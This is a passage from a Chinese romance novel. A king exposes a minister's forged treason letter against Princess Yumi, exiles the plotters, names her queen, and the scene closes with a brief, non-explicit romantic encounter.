上颜耀威厉地坐在龙椅,在大殿上的众臣行跪礼后,他立即吼道:"该死,哆隆,你竟敢捏造通敌信函来诬陷羽蜜公主,该当何罪!""王上请息怒。老臣绝无诬陷羽蜜公主,因为那封信函的确是臣的下属自那位月眠国的姑娘手上拿到的,绝无捏造,请王上明察!"哆隆双手一揖,坚定地为自己辩解。
他听闻昨天下午,王上自死牢里亲自抱出羽蜜公主,并命令宫中所有御医前往龙豫宫,当时他就感到很不安,为何王上会突然有所转变。
但是,在所有的物证与人证都毁灭的情况下,他怎么也不可能去承认这伪造诬陷一事。
"该死!死到临头还不承认。好,本王就让你心服口服。"上颜耀怒不可遏地说着,"来人呀,把丁香和燕子南带上来。"丁香和燕子南?哆隆内心一惊,脸色骤变。丁香不是已经死了吗?而那燕子南......王上是怎么知道他的呢?
只见两名一老一少的男子走进了大殿,其中那名年轻男子还抱着一名看似虚弱的年轻女孩。
"王上,万岁!"三人齐说道。
"丁香,将你告诉国师的话,再清楚地说一次。"上颜耀沉声道。
"是!那天我出宫后,便遇上一群蒙面盗贼,不但抢走了民女包袱里的信,还意图杀死民女,所幸民女让同伴杨风所救,得以捡回一条命。"丁香虽然换回性命,但由于伤势很重,因此仍无法行走。
"王上,此女满口讹言,唯一可取信的,是那通敌之信函确实是来自此女身上。"哆隆狡辩地说着。
"王上,民女可以证明羽蜜公主交给民女的信函,不是什么通敌信,因为公主一共写了两封信,让民女转交给大公主和二公主,其中要给绯璎大公主的信函虽让人给抢走了,但是另一封要给悦凝二公主的信函,民女刚好放在腰间,好提醒自己不要忘了公主的交代,因此,并没有被抢走。"丁香拿出另一封沾有血渍的信,经由一位公公呈交给王上。
羽蜜公主居然写了两封信?哆隆不敢置信地睁大了双眼,老天爷真是跟他开了一个大玩笑,他感到自脚底传来的冷寒。
"启禀王上,羽蜜公主的另一封信,在小民手上。小民以替人写字为生,也擅长模仿他人的字迹。八天前的一个晚上,哆隆大人让小民照羽蜜公主的笔迹,写了一封哆大人要的信件,小民因为不敢得罪哆大人,又怕日后遭来祸害,因此,小民保留了羽蜜公主的原始信件,同时还有一封哆大人当时亲笔所写的手抄本。"燕子南将手上信件全呈给王上。
至此,整件事情都明朗了。
"该死!哆隆,你还有什么话说?"上颜耀怒瞪着哆隆。
"不......王上......请饶命......老臣......"哆隆整个人虚软地跪在地上,向王上求饶着。
"休想本王饶得了你,来人呀,立刻将哆隆押至死牢,两天后处决!"上颜耀抑不住内心那强烈的怒火,特别是想到此刻躺在床上,还昏迷的小人儿,他就恨不得立刻杀了哆隆。
他当然知道哆大人为何要诬陷蜜儿,这与之前兰妃设计陷害蜜儿是相同的目的,无非就是为了那空缺已久的王后位置。
"王上,臣请王上刀下留人。"国师葛鲁达请求道,"那哆大人也曾是我兀颜国有功之臣,老臣请求王上饶恕哆大人。""臣也请求王上饶恕哆大人!"一时间,大殿上的臣子,个个替哆隆求情着。
上颜耀狠厉地瞅着哆隆,深吸了口气,眼眸里的怒火仍盛燃着,"好,本王就饶了哆隆,但,死罪可免,活罪难逃!本王下令,将哆隆及兰妃贬为平民,即刻驱逐出兀颜国,永远不得再踏进我兀颜国。""多谢王上饶臣不死!"哆隆手脚发软地谢过王上,随即让侍卫给带出去。
"本王要宣布一件事,那就是悬空已久的王后位置,本王决定......"
羽蜜微微睁开了眼,感到一阵刺眼的明亮,让她自然又闭上了眼睛,她深吸着一种舒适的新鲜空气,这里是……天上吗?
"公主,你终于醒了。"一旁的春红和夏绿,见到昏睡五天之久的公主苏醒过来,开心地喊着。
"春红、夏绿,你们也来到天上了......"羽蜜意识不清地说着。
"公主,我们都没有死,你快醒醒,看看这里,这里不是天上,是王上的龙豫宫!"没死?不是在天上?是在龙豫宫?羽蜜不解地睁开晶眸,逡巡了四周,惊讶地坐起身来,为什么大家都没死,反而在龙豫宫呢?
"为什么我会在这里?"她纳闷地问着。
春红和夏绿将王上抱公主出死牢开始说起,并由查总管那里得知,王上是相信公主的,故意先将公主判处死刑,为的就是要追查真相,且派出了十二个宫内密探去调查……当然,还包括哆大人和兰妃娘娘的陷害。
羽蜜听着两名丫鬟的述说,这么说来,王上并没有违背他当初对自己所作的承诺,他是相信她的,她的心不由得一暖。
"虽然事情已真相大白,但是丁香她却因为我而......"她想起丁香的死,难过地垂下头。
"丁香没死,她只是受了伤,王上将她安排至城外的行宫,派宫里的御医诊治她。"夏绿说着,"而且,在公主昏迷的这五天,丁香曾来探望过公主呢!""我昏迷了五天?"羽蜜睁大了双眼问着。
"嗯,我们都很担心呢!而且这五天,除了上早朝外,王上日夜不分地陪伴在公主身边,王上真是很爱公主呢!"春红笑说着,王上对公主的爱,任何人都可以深刻感受到。
"王上日夜不分地陪着我?"那么自己睡觉的丑样,不就让王上给看见了吗?羽蜜感到一阵羞愧,双颊绯红。
想起那天在大殿上,她因为气怒王上对她的不信任,而骂他是暴君、昏君,王上不但不生气,反而还陪伴在她身边。
"不只这样,王上他还......"夏绿笑嘻嘻地说着,但被房间外的恭迎声给打断了。
见到王上走进房里来,春红和夏绿很识相地走出房间。
上颜耀一见到床上那昏睡的人儿,已经醒过来坐在床上,俊脸难掩惊喜地勾勒出一抹迷人的笑意,然后走向床边,庞大的身躯在床沿坐下。
"蜜儿,你醒了。"上颜耀低凝住她,发现她脸上的红晕,"怎么了?还不舒服吗?脸怎么这么红?"上颜耀担心地伸出手,手心摸向她的额头。
面对王上的柔情,羽蜜的脸更红了,同时内心也悸动不已。王上对自己的爱是这么的真切,且毫无掩饰地表现出来,让她很感动,这么一个威严的霸王,对她一直是很温柔的。
眼前的男人是这么的俊帅、威严,又是这么的爱自己,怎能不教她心动呢!她真的好爱好爱眼前这出色的男人。
她从床上跪起了身子,羞赧地主动亲吻他刚毅的脸庞一下,然后伸手搂抱住他的颈项,娇柔地说着:"王上,所有的事情我都知道了,对不起,蜜儿那天不该骂您的,请您原谅蜜儿。"对于她突来的献吻、投怀送抱,上颜耀内心惊喜着,因为,这可说是这小人儿第一次主动亲他,这么亲密地抱着他。
他伸手环住了她的纤腰,将她搂向自己结实身躯,将脸埋进她小小的身子里,闻着她身上独有的甜蜜味道。
"你这个小傻瓜,瞧你把自己弄成了什么模样,你要本王相信你,那你也应该要信任本王的。"抚摸在她俏臀上的大手,轻轻拍打了下,随即又将她搂得更紧。
"王上,羽蜜除了请求您原谅,另外还有一件事要请求王上答应。"羽蜜若有所思的说着。
"你说,本王一定答应你。"上颜耀仍抱紧她,舍不得抛开现在这份甜蜜的气氛。
"羽蜜请求王上,让羽蜜回去玉宁宫。"羽蜜很清楚,她之所以会三番两次的遭人诬陷,无非是因为自己是贡品的身份,她并未受封,却得到王上如此宠爱,当然会遭人妒忌。而且,如果她一直待在龙豫宫,最后一定也会惹来其他朝臣的非议,到时唯恐会损及王上的威名。
"为什么要回玉宁宫?"上颜耀拉开她的身子,让两人保持一定的距离,如阴鸷般锐利的黑眸直凝住她,读取她脸上的神情。
"因为......"羽蜜微垂下眼眸,避开他紧迫盯人的视线,"蜜儿并没有资格住在龙豫宫里,这恐怕会惹来非议,因此,蜜儿还是回到玉宁宫比较好。""原来是这样。"上颜耀的俊脸上突然浮现出一抹诡邪的笑容。
他再次将眼前的小人儿给搂进了怀里,然后沙哑地笑说:"小傻瓜,说你傻还真是傻,你是本王的王后,当然有资格住在龙豫宫。"在将哆隆和兰妃贬为平民,并逐出兀颜国的那一天,他就已经当众宣布,封羽蜜为兀颜国的王后了。
"王后?王上,您刚刚是说......"羽蜜不敢相信自己刚刚所听见的,她睁愣着一双单纯的大眼,惊疑地望着王上,只见他俊逸不凡的脸上,净是笑意。
上颜耀顺势伸出手,充满深情蜜意地捧住她那美丽娇嫩的脸蛋,轻轻点吻着她那微启的迷人朱唇。
"在诬陷事件真相大白的那天,我便同时宣布,赐封你为兀颜国的王后,并将在两个月后举行受封典礼。"上颜耀深情款款地说着。
她是他最疼爱的女人,更是他这辈子最爱的王后。
"王上,我......"羽蜜无法克制心中那份喜悦的狂潮,身体因惊喜而微微颤抖,让她完全说不出话来。
"我已经命人向各国发出了邀请函,同时本王还亲笔写了封信给黛姬,郑重邀请她来兀颜国参加你的受封大礼。"上颜耀亲了下她的粉颊说道。
"王上......我......"瞧他为自己做了多少事,噢!她怎能不爱他呢!
"王上,您对蜜儿的这份深情,蜜儿会永远记住的。"她一定会更爱更爱他,来回报他对自己的这份挚爱。
"除了永远记住以外,还有没有别的呢?"上颜耀笑问着。
"有,蜜儿会更爱更爱您,比爱自己还爱,胜过任何人!"羽蜜漾出灿烂甜美的笑靥说着。
她娇柔甜美的模样,勾起了他体内某种灼热的渴望。
"还有没有?例如更实际一点的呢?"上颜耀深眸一凝,邪邪地笑着,眼底闪烁着炽热的欲望。
"王上......"被他那么一望,让羽蜜顿时羞红了脸,原本白皙粉致的脸蛋,因为这一红霞而变得更娇艳诱人。
两个人深情地凝望着对方,炽热的爱与饥渴的欲望,瞬间在两人之间迸射出来。一股强烈且灼热的原始欲望需求,让两人紧紧地拥抱着对方,再次沉沦在那狂野欢爱所带来的高潮喜悦里……